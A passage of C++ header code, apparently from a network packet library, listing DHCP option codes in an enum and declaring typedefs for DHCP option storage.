NETBIOS_SCOPE, FONT_SERVERS, X_DISPLAY_MANAGER, DHCP_REQUESTED_ADDRESS, DHCP_LEASE_TIME, DHCP_OPTION_OVERLOAD, DHCP_MESSAGE_TYPE, DHCP_SERVER_IDENTIFIER, DHCP_PARAMETER_REQUEST_LIST, DHCP_MESSAGE, DHCP_MAX_MESSAGE_SIZE, DHCP_RENEWAL_TIME, DHCP_REBINDING_TIME, VENDOR_CLASS_IDENTIFIER, DHCP_CLIENT_IDENTIFIER, NWIP_DOMAIN_NAME, NWIP_SUBOPTIONS, USER_CLASS = 77, FQDN = 81, DHCP_AGENT_OPTIONS = 82, SUBNET_SELECTION = 118, AUTHENTICATE = 210, END = 255 }; /** * The DHCP option type. */ typedef PDUOption option; /** * The type used to store the DHCP options. */ typedef std::list